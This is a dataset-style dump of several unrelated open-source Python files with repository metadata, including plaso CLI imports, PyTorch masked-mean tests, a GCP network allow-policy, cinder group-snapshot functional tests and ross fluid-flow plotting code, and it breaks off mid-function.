[ "Apache-2.0" ]

null

plaso/cli/helpers/__init__.py

dfrc-korea/plaso

2c74c3586f94d3ddf9ff523fbdc8cb42d950a109

[ "Apache-2.0" ]

8

2019-11-28T08:06:34.000Z

2020-08-29T13:53:30.000Z

# -*- coding: utf-8 -*- """This file imports Python modules that register CLI helpers.""" from plaso.cli.helpers import analysis_plugins from plaso.cli.helpers import artifact_definitions from plaso.cli.helpers import artifact_filters from plaso.cli.helpers import data_location from plaso.cli.helpers import date_filters from plaso.cli.helpers import dynamic_output from plaso.cli.helpers import elastic_output from plaso.cli.helpers import event_filters from plaso.cli.helpers import extraction from plaso.cli.helpers import filter_file from plaso.cli.helpers import hashers from plaso.cli.helpers import language from plaso.cli.helpers import mysql_4n6time_output from plaso.cli.helpers import nsrlsvr_analysis from plaso.cli.helpers import output_modules from plaso.cli.helpers import parsers from plaso.cli.helpers import profiling from plaso.cli.helpers import process_resources from plaso.cli.helpers import sessionize_analysis from plaso.cli.helpers import sqlite_4n6time_output from plaso.cli.helpers import status_view from plaso.cli.helpers import storage_file from plaso.cli.helpers import storage_format from plaso.cli.helpers import tagging_analysis from plaso.cli.helpers import temporary_directory from plaso.cli.helpers import text_prepend from plaso.cli.helpers import timesketch_output from plaso.cli.helpers import viper_analysis from plaso.cli.helpers import virustotal_analysis from plaso.cli.helpers import windows_services_analysis from plaso.cli.helpers import xlsx_output from plaso.cli.helpers import yara_rules from plaso.cli.helpers import workers from plaso.cli.helpers import mariasql_4n6time_output # These modules do not register CLI helpers, but contain super classes used by # CLI helpers in other modules. from plaso.cli.helpers import database_config from plaso.cli.helpers import server_config from plaso.cli.helpers import shared_4n6time_output

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6

8a72705f412db17bc53e6f67f3d20be61223f0f5

5,810

py

Python

tests/nn/util_test.py

allenai/scitail

2e57f46a4620d50e85323c4a642114426db67393

[ "Apache-2.0" ]

40

2018-02-01T04:20:50.000Z

2022-03-08T02:31:08.000Z

tests/nn/util_test.py

allenai/scitail

2e57f46a4620d50e85323c4a642114426db67393

[ "Apache-2.0" ]

6

2018-02-06T03:41:00.000Z

2018-10-22T06:13:59.000Z

tests/nn/util_test.py

allenai/scitail

2e57f46a4620d50e85323c4a642114426db67393

[ "Apache-2.0" ]

8

2018-02-08T09:06:16.000Z

2019-07-17T23:12:17.000Z

# pylint: disable=invalid-name,no-self-use,too-many-public-methods import numpy import torch from allennlp.common.testing import AllenNlpTestCase from numpy.testing import assert_array_almost_equal from torch.autograd import Variable from scitail.nn import util class TestNnUtil(AllenNlpTestCase): def test_masked_mean_no_mask(self): # Testing the general unmasked 1D case. vector_1d = Variable(torch.FloatTensor([[1.0, 2.0, 3.0]])) dim = 1 vector_1d_mean = util.masked_mean(vector_1d, dim, None).data.numpy() assert_array_almost_equal(vector_1d_mean, numpy.array([2.0])) # Testing the unmasked 1D case where the input is all 0s. vector_zero = Variable(torch.FloatTensor([[0.0, 0.0, 0.0]])) vector_zero_mean = util.masked_mean(vector_zero, dim, None).data.numpy() assert_array_almost_equal(vector_zero_mean, numpy.array([0.0])) # Testing the unmasked batched case where one of the inputs are all 0s. matrix = Variable(torch.FloatTensor([[1.0, 2.0, 5.0], [0.0, 0.0, 0.0]])) masked_matrix_mean = util.masked_mean(matrix, dim, None).data.numpy() assert_array_almost_equal(masked_matrix_mean, numpy.array([2.666666, 0.0])) def test_masked_mean_masked(self): # Testing the general masked 1D case. vector_1d = Variable(torch.FloatTensor([[1.0, 2.0, 5.0]])) mask_1d = Variable(torch.FloatTensor([[1.0, 0.0, 1.0]])) dim = 1 vector_1d_mean = util.masked_mean(vector_1d, dim, mask_1d).data.numpy() assert_array_almost_equal(vector_1d_mean, numpy.array([3.0])) vector_1d = Variable(torch.FloatTensor([[0.0, 2.0, 3.0, 4.0]])) mask_1d = Variable(torch.FloatTensor([[1.0, 0.0, 1.0, 1.0]])) vector_1d_mean = util.masked_mean(vector_1d, dim, mask_1d).data.numpy() assert_array_almost_equal(vector_1d_mean, numpy.array([2.333333])) # Testing the masked 1D case where the input is all 0s and the mask # is not all 0s. vector_1d = Variable(torch.FloatTensor([[0.0, 0.0, 0.0, 0.0]])) mask_1d = Variable(torch.FloatTensor([[0.0, 0.0, 0.0, 1.0]])) vector_1d_mean = util.masked_mean(vector_1d, dim, mask_1d).data.numpy() assert_array_almost_equal(vector_1d_mean, numpy.array([0])) # Testing the masked 1D case where the input is not all 0s # and the mask is all 0s. vector_1d = Variable(torch.FloatTensor([[0.0, 2.0, 3.0, 4.0]])) mask_1d = Variable(torch.FloatTensor([[0.0, 0.0, 0.0, 0.0]])) vector_1d_mean = util.masked_mean(vector_1d, dim, mask_1d).data.numpy() assert_array_almost_equal(vector_1d_mean, numpy.array([0.0])) # Testing the masked 1D case where the input is all 0s and # the mask is all 0s. vector_1d = Variable(torch.FloatTensor([[0.0, 0.0, 0.0, 0.0]])) mask_1d = Variable(torch.FloatTensor([[0.0, 0.0, 0.0, 0.0]])) vector_1d_mean = util.masked_mean(vector_1d, dim, mask_1d).data.numpy() assert_array_almost_equal(vector_1d_mean, numpy.array([0.0])) # Testing the general masked batched case. matrix = Variable(torch.FloatTensor([[1.0, 2.0, 5.0], [1.0, 2.0, 3.0]])) mask = Variable(torch.FloatTensor([[1.0, 0.0, 1.0], [1.0, 1.0, 1.0]])) masked_matrix_mean = util.masked_mean(matrix, 1, mask).data.numpy() assert_array_almost_equal(masked_matrix_mean, numpy.array([3.0, 2.0])) masked_matrix_mean = util.masked_mean(matrix, 0, mask).data.numpy() assert_array_almost_equal(masked_matrix_mean, numpy.array([1.0, 2.0, 4.0])) # Testing the masked batch case where one of the inputs is all 0s but # none of the masks are all 0. matrix = Variable(torch.FloatTensor([[0.0, 0.0, 0.0], [1.0, 2.0, 3.0]])) mask = Variable(torch.FloatTensor([[1.0, 0.0, 1.0], [1.0, 1.0, 1.0]])) masked_matrix_mean = util.masked_mean(matrix, 1, mask).data.numpy() assert_array_almost_equal(masked_matrix_mean, numpy.array([0.0, 2.0])) masked_matrix_mean = util.masked_mean(matrix, 0, mask).data.numpy() assert_array_almost_equal(masked_matrix_mean, numpy.array([0.5, 2.0, 1.5])) # Testing the masked batch case where one of the inputs is all 0s and # one of the masks are all 0. matrix = Variable(torch.FloatTensor([[0.0, 0.0, 0.0], [1.0, 2.0, 3.0]])) mask = Variable(torch.FloatTensor([[1.0, 0.0, 1.0], [0.0, 0.0, 0.0]])) masked_matrix_mean = util.masked_mean(matrix, 1, mask).data.numpy() assert_array_almost_equal(masked_matrix_mean, numpy.array([0.0, 0.0])) masked_matrix_mean = util.masked_mean(matrix, 0, mask).data.numpy() assert_array_almost_equal(masked_matrix_mean, numpy.array([0.0, 0.0, 0.0])) matrix = Variable(torch.FloatTensor([[0.0, 0.0, 0.0], [1.0, 2.0, 3.0]])) mask = Variable(torch.FloatTensor([[0.0, 0.0, 0.0], [1.0, 0.0, 1.0]])) masked_matrix_mean = util.masked_mean(matrix, 1, mask).data.numpy() assert_array_almost_equal(masked_matrix_mean, numpy.array([0.0, 2.0])) masked_matrix_mean = util.masked_mean(matrix, 0, mask).data.numpy() assert_array_almost_equal(masked_matrix_mean, numpy.array([1.0, 0.0, 3.0]))

52.342342

80

0.595525

877

5,810

3.760547

0.079818

0.060643

0.064585

0.060643

0.852032

0.843845

0.836264

0.826258

0.816252

0.792298

0

0.076579

0.269535

5,810

110

81

52.818182

0.700518

0.12685

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0

0.2125

1

0.025

false

0

0.075

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0

null

0

1

0

null

0

6

8a89d4d2cb1c3d6a7d9dc787c7e2530446adbfe2

21

py

Python

unittest/sphinxExer/src/moge.py

terasakisatoshi/pythonCodes

baee095ecee96f6b5ec6431267cdc6c40512a542

[ "MIT" ]

null

unittest/sphinxExer/src/moge.py

terasakisatoshi/pythonCodes

baee095ecee96f6b5ec6431267cdc6c40512a542

[ "MIT" ]

null

unittest/sphinxExer/src/moge.py

terasakisatoshi/pythonCodes

baee095ecee96f6b5ec6431267cdc6c40512a542

[ "MIT" ]

null

def moge(): pass

7

11

0.52381

3

21

3.666667

1

0

0.333333

21

2

12

10.5

0.785714

0

1

0.5

true

0.5

0

0.5

0

1

0

null

0

1

0

null

0

1

0

6

76d7c3f608d2084a043657a2da73e41bbc18e997

136

py

Python

models/remote/login.py

anthill-gaming/anthill-admin

e3c29a9bd7c04d2c6ce29528578a93395adf59e0

[ "MIT" ]

1

2018-11-30T21:56:14.000Z

models/remote/login.py

anthill-gaming/anthill-admin

e3c29a9bd7c04d2c6ce29528578a93395adf59e0

[ "MIT" ]

null

models/remote/login.py

anthill-gaming/anthill-admin

e3c29a9bd7c04d2c6ce29528578a93395adf59e0

[ "MIT" ]

null

from anthill.platform.remote_models import remote_model_factory from anthill.platform.auth import RemoteUser __all__ = ['RemoteUser']

22.666667

63

0.838235

17

136

6.294118

0.647059

0.205607

0.35514

0

0.095588

136

5

64

27.2

0.869919

0

0.073529

0

1

0

false

0

0.666667

0

0.666667

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

76dced3b1f3c1e96596eb60b486bfc9c7c957be6

3,715

py

Python

python/meta_policy_gcp.py

SidharthAnand/api

99d4b614b1535590a79a4a839fd31dd28a3524c3

[ "MIT" ]

4

2021-01-24T01:33:13.000Z

2022-03-19T12:57:50.000Z

python/meta_policy_gcp.py

SidharthAnand/api

99d4b614b1535590a79a4a839fd31dd28a3524c3

[ "MIT" ]

4

2021-03-16T16:36:12.000Z

2021-06-26T16:40:47.000Z

python/meta_policy_gcp.py

SidharthAnand/api

99d4b614b1535590a79a4a839fd31dd28a3524c3

[ "MIT" ]

7

2021-01-07T15:53:51.000Z

2021-06-21T18:17:00.000Z

import api class MpGCP: policies = [ api.AcceptLink(filters=[ api.f.type("NAE"), api.f.endpoint("process", "dockerd", who="client"), api.f.endpoint("dns_pattern", ":storage.googleapis.com:", who="server"), ], changes=[ ("server", "dns_pattern", ".*:storage\.googleapis\.com:.*"), ]), api.AcceptLink(filters=[ api.f.type("NAE"), api.f.endpoint("process", "/google-cloud-sdk/lib/gcloud.py", who="client"), api.f.endpoint("dns_pattern", ":.*.googleapis.com:", who="server"), ], changes=[ ("server", "dns_pattern", ":.*\.googleapis\.com:"), ]), api.AcceptLink(filters=[ api.f.type("NAE"), api.f.endpoint("process", ["signalfx-agent", "/usr/bin/google_accounts_daemon", "/usr/bin/google_clock_skew_daemon", "/usr/bin/google_network_daemon", "/usr/bin/google_metadata_script_runner"], who="client"), api.f.endpoint("subnet", "169.254.169.254", who="server"), api.f.endpoint("netmask", 32, who="server"), api.f.endpoint("dst_port", 80, who="server"), ], changes=[ ]), api.AcceptLink(filters=[ api.f.type("NAE"), api.f.endpoint("process", "google-cloud-sdk/lib/gcloud.py", who="client"), api.f.endpoint("dns_pattern", ":metadata.google.internal:", who="server"), ], changes=[ ("server", "dns_pattern", ":metadata\.google\.internal:"), ]), api.AcceptLink(filters=[ api.f.type("NAE"), api.f.endpoint("app", ".*.istio-proxy"), api.f.endpoint("process", "pilot-agent", who="client"), api.f.endpoint("dns_pattern", ":metadata.google.internal:", who="server"), ], changes=[ ("server", "dns_pattern", ":metadata\.google\.internal:"), ]), api.AcceptLink(filters=[ api.f.type("NAE"), api.f.endpoint("app", "linux"), api.f.endpoint("process", "/usr/bin/google_", who="client"), api.f.endpoint("dns_pattern", ":metadata.google.internal:", who="server"), ], changes=[ ("server", "dns_pattern", ":metadata\.google\.internal:"), ]), api.AcceptLink(filters=[ api.f.type("NAE"), api.f.endpoint("binary_name", "kubernetes/bin/node-problem-detector", who="client"), api.f.endpoint("dns_pattern", ":.*.googleapis.com:", who="server"), ], changes=[ ("server", "dns_pattern", ":.*\.googleapis\.com:"), ]), api.AcceptLink(filters=[ api.f.type("NAE"), api.f.endpoint("app", "kube-system\."), api.f.endpoint("process", "external-dns", who="client"), api.f.endpoint("dns_pattern", ":.*.googleapis.com:", who="server"), ], changes=[ ("server", "dns_pattern", ":.*\.googleapis\.com:"), ]), api.AcceptLink(filters=[ api.f.type("NAE"), api.f.endpoint("app", "kube-system.*.external-dns"), api.f.endpoint("process", "external-dns", who="client"), api.f.endpoint("dns_pattern", ":metadata.google.internal:", who="server"), ], changes=[ ("server", "dns_pattern", ":metadata\.google\.internal:"), ]), ] print("Adding meta-policies to runner") api.mpr.add(MpGCP)

48.246753

224

0.492328

365

3,715

4.931507

0.189041

0.073333

0.16

0.115

0.787778

0.745

0.727778

0.702778

0

0.006233

0.309018

3,715

76

225

48.881579

0.694975

0

0.702703

0

0.340511

0.158277

0

1

0

false

0

0.013514

0

0.040541

0.013514

0

null

0

1

0

1

0

null

0

6

76e98f68c33e7c073dab79f010c102d8ef3dcde1

15,214

py

Python

cinder/tests/functional/test_group_snapshots.py

ilay09/cinder

86f084d42f18bd5971cc7a0df3e6d815543a472d

[ "Apache-2.0" ]

null

cinder/tests/functional/test_group_snapshots.py

ilay09/cinder

86f084d42f18bd5971cc7a0df3e6d815543a472d

[ "Apache-2.0" ]

null

cinder/tests/functional/test_group_snapshots.py

ilay09/cinder

86f084d42f18bd5971cc7a0df3e6d815543a472d

[ "Apache-2.0" ]

null

# Copyright 2016 EMC Corporation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from cinder.tests.functional import functional_helpers class GroupSnapshotsTest(functional_helpers._FunctionalTestBase): _vol_type_name = 'functional_test_type' _grp_type_name = 'functional_grp_test_type' osapi_version_major = '3' osapi_version_minor = '19' def setUp(self): super(GroupSnapshotsTest, self).setUp() self.volume_type = self.api.create_type(self._vol_type_name) self.group_type = self.api.create_group_type(self._grp_type_name) def _get_flags(self): f = super(GroupSnapshotsTest, self)._get_flags() f['volume_driver'] = ( 'cinder.tests.fake_driver.FakeLoggingVolumeDriver') f['default_volume_type'] = self._vol_type_name f['default_group_type'] = self._grp_type_name return f def test_get_group_snapshots_summary(self): """Simple check that listing group snapshots works.""" grp_snaps = self.api.get_group_snapshots(False) self.assertIsNotNone(grp_snaps) def test_get_group_snapshots(self): """Simple check that listing group snapshots works.""" grp_snaps = self.api.get_group_snapshots() self.assertIsNotNone(grp_snaps) def test_create_and_delete_group_snapshot(self): """Creates and deletes a group snapshot.""" # Create group created_group = self.api.post_group( {'group': {'group_type': self.group_type['id'], 'volume_types': [self.volume_type['id']]}}) self.assertTrue(created_group['id']) created_group_id = created_group['id'] # Check it's there found_group = self._poll_group_while(created_group_id, ['creating']) self.assertEqual(created_group_id, found_group['id']) self.assertEqual(self.group_type['id'], found_group['group_type']) self.assertEqual('available', found_group['status']) # Create volume created_volume = self.api.post_volume( {'volume': {'size': 1, 'group_id': created_group_id, 'volume_type': self.volume_type['id']}}) self.assertTrue(created_volume['id']) created_volume_id = created_volume['id'] # Check it's there found_volume = self.api.get_volume(created_volume_id) self.assertEqual(created_volume_id, found_volume['id']) self.assertEqual(self._vol_type_name, found_volume['volume_type']) self.assertEqual(created_group_id, found_volume['group_id']) # Wait (briefly) for creation. Delay is due to the 'message queue' found_volume = self._poll_volume_while(created_volume_id, ['creating']) # It should be available... self.assertEqual('available', found_volume['status']) # Create group snapshot created_group_snapshot = self.api.post_group_snapshot( {'group_snapshot': {'group_id': created_group_id}}) self.assertTrue(created_group_snapshot['id']) created_group_snapshot_id = created_group_snapshot['id'] # Check it's there found_group_snapshot = self._poll_group_snapshot_while( created_group_snapshot_id, ['creating']) self.assertEqual(created_group_snapshot_id, found_group_snapshot['id']) self.assertEqual(created_group_id, found_group_snapshot['group_id']) self.assertEqual('available', found_group_snapshot['status']) # Delete the group snapshot self.api.delete_group_snapshot(created_group_snapshot_id) # Wait (briefly) for deletion. Delay is due to the 'message queue' found_group_snapshot = self._poll_group_snapshot_while( created_group_snapshot_id, ['deleting']) # Delete the original group self.api.delete_group(created_group_id, {'delete': {'delete-volumes': True}}) # Wait (briefly) for deletion. Delay is due to the 'message queue' found_volume = self._poll_volume_while(created_volume_id, ['deleting']) found_group = self._poll_group_while(created_group_id, ['deleting']) # Should be gone self.assertFalse(found_group_snapshot) self.assertFalse(found_volume) self.assertFalse(found_group) def test_create_group_from_group_snapshot(self): """Creates a group from a group snapshot.""" # Create group created_group = self.api.post_group( {'group': {'group_type': self.group_type['id'], 'volume_types': [self.volume_type['id']]}}) self.assertTrue(created_group['id']) created_group_id = created_group['id'] # Check it's there found_group = self._poll_group_while(created_group_id, ['creating']) self.assertEqual(created_group_id, found_group['id']) self.assertEqual(self.group_type['id'], found_group['group_type']) self.assertEqual('available', found_group['status']) # Create volume created_volume = self.api.post_volume( {'volume': {'size': 1, 'group_id': created_group_id, 'volume_type': self.volume_type['id']}}) self.assertTrue(created_volume['id']) created_volume_id = created_volume['id'] # Check it's there found_volume = self.api.get_volume(created_volume_id) self.assertEqual(created_volume_id, found_volume['id']) self.assertEqual(self._vol_type_name, found_volume['volume_type']) self.assertEqual(created_group_id, found_volume['group_id']) # Wait (briefly) for creation. Delay is due to the 'message queue' found_volume = self._poll_volume_while(created_volume_id, ['creating']) # It should be available... self.assertEqual('available', found_volume['status']) # Create group snapshot created_group_snapshot = self.api.post_group_snapshot( {'group_snapshot': {'group_id': created_group_id}}) self.assertTrue(created_group_snapshot['id']) created_group_snapshot_id = created_group_snapshot['id'] # Check it's there found_group_snapshot = self._poll_group_snapshot_while( created_group_snapshot_id, ['creating']) self.assertEqual(created_group_snapshot_id, found_group_snapshot['id']) self.assertEqual(created_group_id, found_group_snapshot['group_id']) self.assertEqual('available', found_group_snapshot['status']) # Create group from group snapshot created_group_from_snap = self.api.post_group_from_src( {'create-from-src': { 'group_snapshot_id': created_group_snapshot_id}}) self.assertTrue(created_group_from_snap['id']) created_group_from_snap_id = created_group_from_snap['id'] # Check it's there found_volumes = self.api.get_volumes() self._poll_volume_while(found_volumes[0], ['creating']) self._poll_volume_while(found_volumes[1], ['creating']) found_group_from_snap = self._poll_group_while( created_group_from_snap_id, ['creating']) self.assertEqual(created_group_from_snap_id, found_group_from_snap['id']) self.assertEqual(created_group_snapshot_id, found_group_from_snap['group_snapshot_id']) self.assertEqual(self.group_type['id'], found_group_from_snap['group_type']) self.assertEqual('available', found_group_from_snap['status']) # Delete the group from snap self.api.delete_group(created_group_from_snap_id, {'delete': {'delete-volumes': True}}) # Wait (briefly) for deletion. Delay is due to the 'message queue' found_group_from_snap = self._poll_group_while( created_group_from_snap_id, ['deleting']) # Delete the group snapshot self.api.delete_group_snapshot(created_group_snapshot_id) # Wait (briefly) for deletion. Delay is due to the 'message queue' found_group_snapshot = self._poll_group_snapshot_while( created_group_snapshot_id, ['deleting']) # Delete the original group self.api.delete_group(created_group_id, {'delete': {'delete-volumes': True}}) # Wait (briefly) for deletion. Delay is due to the 'message queue' found_volume = self._poll_volume_while(created_volume_id, ['deleting']) found_group = self._poll_group_while(created_group_id, ['deleting']) # Should be gone self.assertFalse(found_group_from_snap) self.assertFalse(found_group_snapshot) self.assertFalse(found_volume) self.assertFalse(found_group) def test_create_group_from_source_group(self): """Creates a group from a source group.""" # Create group created_group = self.api.post_group( {'group': {'group_type': self.group_type['id'], 'volume_types': [self.volume_type['id']]}}) self.assertTrue(created_group['id']) created_group_id = created_group['id'] # Check it's there found_group = self._poll_group_while(created_group_id, ['creating']) self.assertEqual(created_group_id, found_group['id']) self.assertEqual(self.group_type['id'], found_group['group_type']) self.assertEqual('available', found_group['status']) # Create volume created_volume = self.api.post_volume( {'volume': {'size': 1, 'group_id': created_group_id, 'volume_type': self.volume_type['id']}}) self.assertTrue(created_volume['id']) created_volume_id = created_volume['id'] # Check it's there found_volume = self.api.get_volume(created_volume_id) self.assertEqual(created_volume_id, found_volume['id']) self.assertEqual(self._vol_type_name, found_volume['volume_type']) self.assertEqual(created_group_id, found_volume['group_id']) # Wait (briefly) for creation. Delay is due to the 'message queue' found_volume = self._poll_volume_while(created_volume_id, ['creating']) # It should be available... self.assertEqual('available', found_volume['status']) # Test create group from source group created_group_from_group = self.api.post_group_from_src( {'create-from-src': { 'source_group_id': created_group_id}}) self.assertTrue(created_group_from_group['id']) created_group_from_group_id = created_group_from_group['id'] # Check it's there found_volumes = self.api.get_volumes() self._poll_volume_while(found_volumes[0], ['creating']) self._poll_volume_while(found_volumes[1], ['creating']) found_group_from_group = self._poll_group_while( created_group_from_group_id, ['creating']) self.assertEqual(created_group_from_group_id, found_group_from_group['id']) self.assertEqual(created_group_id, found_group_from_group['source_group_id']) self.assertEqual(self.group_type['id'], found_group_from_group['group_type']) self.assertEqual('available', found_group_from_group['status']) # Delete the group from group self.api.delete_group(created_group_from_group_id, {'delete': {'delete-volumes': True}}) # Wait (briefly) for deletion. Delay is due to the 'message queue' found_group_from_group = self._poll_group_while( created_group_from_group_id, ['deleting']) # Delete the original group self.api.delete_group(created_group_id, {'delete': {'delete-volumes': True}}) # Wait (briefly) for deletion. Delay is due to the 'message queue' found_volume = self._poll_volume_while(created_volume_id, ['deleting']) found_group = self._poll_group_while(created_group_id, ['deleting']) # Should be gone self.assertFalse(found_group_from_group) self.assertFalse(found_volume) self.assertFalse(found_group) def test_reset_group_snapshot(self): # Create group group1 = self.api.post_group( {'group': {'group_type': self.group_type['id'], 'volume_types': [self.volume_type['id']]}}) self.assertTrue(group1['id']) group_id = group1['id'] self._poll_group_while(group_id, ['creating']) # Create volume created_volume = self.api.post_volume( {'volume': {'size': 1, 'group_id': group_id, 'volume_type': self.volume_type['id']}}) self.assertTrue(created_volume['id']) created_volume_id = created_volume['id'] self._poll_volume_while(created_volume_id, ['creating']) # Create group snapshot group_snapshot1 = self.api.post_group_snapshot( {'group_snapshot': {'group_id': group_id}}) self.assertTrue(group_snapshot1['id']) group_snapshot_id = group_snapshot1['id'] self._poll_group_snapshot_while(group_snapshot_id, 'creating') group_snapshot1 = self.api.get_group_snapshot(group_snapshot_id) self.assertEqual("available", group_snapshot1['status']) # reset group snapshot status self.api.reset_group_snapshot(group_snapshot_id, {"reset_status": {"status": "error"}}) group_snapshot1 = self.api.get_group_snapshot(group_snapshot_id) self.assertEqual("error", group_snapshot1['status']) # Delete group, volume and group snapshot self.api.delete_group_snapshot(group_snapshot_id) found_group_snapshot = self._poll_group_snapshot_while( group_snapshot_id, ['deleting']) self.api.delete_group(group_id, {'delete': {'delete-volumes': True}}) found_volume = self._poll_volume_while(created_volume_id, ['deleting']) found_group = self._poll_group_while(group_id, ['deleting']) # Created resources should be gone self.assertFalse(found_group_snapshot) self.assertFalse(found_volume) self.assertFalse(found_group)

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76fe0d6b3d5fa70da953e254c70cafcb0e9d737d

16,551

py

Python

ross/fluid_flow/fluid_flow_graphics.py

flaviorangel/test-joss-paper

480eae9c685ed3d96e9c5971d0b9ea1356eaf7d9

[ "MIT" ]

null

ross/fluid_flow/fluid_flow_graphics.py

flaviorangel/test-joss-paper

480eae9c685ed3d96e9c5971d0b9ea1356eaf7d9

[ "MIT" ]

null

ross/fluid_flow/fluid_flow_graphics.py

flaviorangel/test-joss-paper

480eae9c685ed3d96e9c5971d0b9ea1356eaf7d9

[ "MIT" ]

null

import matplotlib.pyplot as plt from bokeh.plotting import figure import numpy as np def plot_eccentricity(fluid_flow_object, z=0): """This function assembles pressure graphic along the z-axis. The first few plots are of a different color to indicate where theta begins. Parameters ---------- fluid_flow_object: a FluidFlow object z: int, optional The distance in z where to cut and plot. Returns ------- Figure An object containing the plot. Examples -------- >>> from ross.fluid_flow.fluid_flow import fluid_flow_example >>> my_fluid_flow = fluid_flow_example() >>> fig = plot_eccentricity(my_fluid_flow, z=int(my_fluid_flow.nz/2)) >>> # to show the plots you can use: >>> # show(fig) """ p = figure( title="Cut in plane Z=" + str(z), x_axis_label="X axis", y_axis_label="Y axis", ) for j in range(0, fluid_flow_object.ntheta): p.circle(fluid_flow_object.xre[z][j], fluid_flow_object.yre[z][j], color="red") p.circle(fluid_flow_object.xri[z][j], fluid_flow_object.yri[z][j], color="blue") p.circle(0, 0, color="blue") p.circle(fluid_flow_object.xi, fluid_flow_object.yi, color="red") p.circle(0, 0, color="black") return p def plot_pressure_z(fluid_flow_object, theta=0): """This function assembles pressure graphic along the z-axis for one or both the numerically (blue) and analytically (red) calculated pressure matrices, depending on if one or both were calculated. Parameters ---------- fluid_flow_object: a FluidFlow object theta: int, optional The theta to be considered. Returns ------- Figure An object containing the plot. Examples -------- >>> from ross.fluid_flow.fluid_flow import fluid_flow_example >>> my_fluid_flow = fluid_flow_example() >>> my_fluid_flow.calculate_pressure_matrix_numerical() # doctest: +ELLIPSIS array([[... >>> fig = plot_pressure_z(my_fluid_flow, theta=int(my_fluid_flow.ntheta/2)) >>> # to show the plots you can use: >>> # show(fig) """ if ( not fluid_flow_object.numerical_pressure_matrix_available and not fluid_flow_object.analytical_pressure_matrix_available ): raise ValueError( "Must calculate the pressure matrix. " "Try calling calculate_pressure_matrix_numerical() or calculate_pressure_matrix_analytical() first." ) y_n = [] y_a = [] for i in range(0, fluid_flow_object.nz): y_n.append(fluid_flow_object.p_mat_numerical[i][theta]) y_a.append(fluid_flow_object.p_mat_analytical[i][theta]) p = figure( title="Pressure along the Z direction (direction of flow); Theta=" + str(theta), x_axis_label="Points along Z", ) if fluid_flow_object.numerical_pressure_matrix_available: p.line(fluid_flow_object.z_list, y_n, legend="Numerical pressure", color="blue", line_width=2) if fluid_flow_object.analytical_pressure_matrix_available: p.line(fluid_flow_object.z_list, y_a, legend="Analytical pressure", color="red", line_width=2) return p def plot_shape(fluid_flow_object, theta=0): """This function assembles a graphic representing the geometry of the rotor. Parameters ---------- fluid_flow_object: a FluidFlow object theta: int, optional The theta to be considered. Returns ------- Figure An object containing the plot. Examples -------- >>> from ross.fluid_flow.fluid_flow import fluid_flow_example >>> my_fluid_flow = fluid_flow_example() >>> fig = plot_shape(my_fluid_flow, theta=int(my_fluid_flow.ntheta/2)) >>> # to show the plots you can use: >>> # show(fig) """ y_re = np.zeros(fluid_flow_object.nz) y_ri = np.zeros(fluid_flow_object.nz) for i in range(0, fluid_flow_object.nz): y_re[i] = fluid_flow_object.re[i][theta] y_ri[i] = fluid_flow_object.ri[i][theta] p = figure( title="Shapes of stator and rotor along Z; Theta=" + str(theta), x_axis_label="Points along Z", y_axis_label="Radial direction", ) p.line(fluid_flow_object.z_list, y_re, line_width=2, color="red") p.line(fluid_flow_object.z_list, y_ri, line_width=2, color="blue") return p def plot_pressure_theta(fluid_flow_object, z=0): """This function assembles pressure graphic in the theta direction for a given z for one or both the numerically (blue) and analytically (red) calculated pressure matrices, depending on if one or both were calculated. Parameters ---------- fluid_flow_object: a FluidFlow object z: int, optional The distance along z-axis to be considered. Returns ------- Figure An object containing the plot. Examples -------- >>> from ross.fluid_flow.fluid_flow import fluid_flow_example >>> my_fluid_flow = fluid_flow_example() >>> my_fluid_flow.calculate_pressure_matrix_numerical() # doctest: +ELLIPSIS array([[... >>> fig = plot_pressure_theta(my_fluid_flow, z=int(my_fluid_flow.nz/2)) >>> # to show the plots you can use: >>> # show(fig) """ if ( not fluid_flow_object.numerical_pressure_matrix_available and not fluid_flow_object.analytical_pressure_matrix_available ): raise ValueError( "Must calculate the pressure matrix. " "Try calling calculate_pressure_matrix_numerical() or calculate_pressure_matrix_analytical() first." ) p = figure( title="Pressure along Theta; Z=" + str(z), x_axis_label="Points along Theta", y_axis_label="Pressure", ) if fluid_flow_object.numerical_pressure_matrix_available: p.line( fluid_flow_object.gama[z], fluid_flow_object.p_mat_numerical[z], legend="Numerical pressure", line_width=2, color="blue", ) elif fluid_flow_object.analytical_pressure_matrix_available: p.line( fluid_flow_object.gama[z], fluid_flow_object.p_mat_analytical[z], legend="Analytical pressure", line_width=2, color="red", ) return p def matplot_eccentricity(fluid_flow_object, z=0, ax=None): """This function assembles pressure graphic along the z-axis using matplotlib. The first few plots are of a different color to indicate where theta begins. Parameters ---------- fluid_flow_object: a FluidFlow object z: int, optional The distance in z where to cut and plot. ax : matplotlib axes, optional Axes in which the plot will be drawn. Returns ------- ax : matplotlib axes Returns the axes object with the plot. Examples -------- >>> from ross.fluid_flow.fluid_flow import fluid_flow_example >>> my_fluid_flow = fluid_flow_example() >>> fig, ax = plt.subplots() >>> ax = matplot_eccentricity(my_fluid_flow, z=int(my_fluid_flow.nz/2), ax=ax) >>> # to show the plots you can use: >>> # plt.show() """ if ax is None: ax = plt.gca() x_r = [] x_b = [] y_r = [] y_b = [] for j in range(0, fluid_flow_object.ntheta): x_r.append(fluid_flow_object.xre[z][j]) y_r.append(fluid_flow_object.yre[z][j]) x_b.append(fluid_flow_object.xri[z][j]) y_b.append(fluid_flow_object.yri[z][j]) ax.plot(x_r, y_r, "r.") ax.plot(x_b, y_b, "b.") ax.plot(0, 0, "r*") ax.plot(fluid_flow_object.xi, fluid_flow_object.yi, "b*") ax.set_title("Cut in plane Z=" + str(z)) ax.set_xlabel("X axis") ax.set_ylabel("Y axis") plt.axis("equal") return ax def matplot_pressure_z(fluid_flow_object, theta=0, ax=None): """This function assembles pressure graphic along the z-axis using matplotlib for one or both the numerically (blue) and analytically (red) calculated pressure matrices, depending on if one or both were calculated. Parameters ---------- fluid_flow_object: a FluidFlow object theta: int, optional The distance in theta where to cut and plot. ax : matplotlib axes, optional Axes in which the plot will be drawn. Returns ------- ax : matplotlib axes Returns the axes object with the plot. Examples -------- >>> from ross.fluid_flow.fluid_flow import fluid_flow_example >>> my_fluid_flow = fluid_flow_example() >>> my_fluid_flow.calculate_pressure_matrix_numerical() # doctest: +ELLIPSIS array([[... >>> ax = 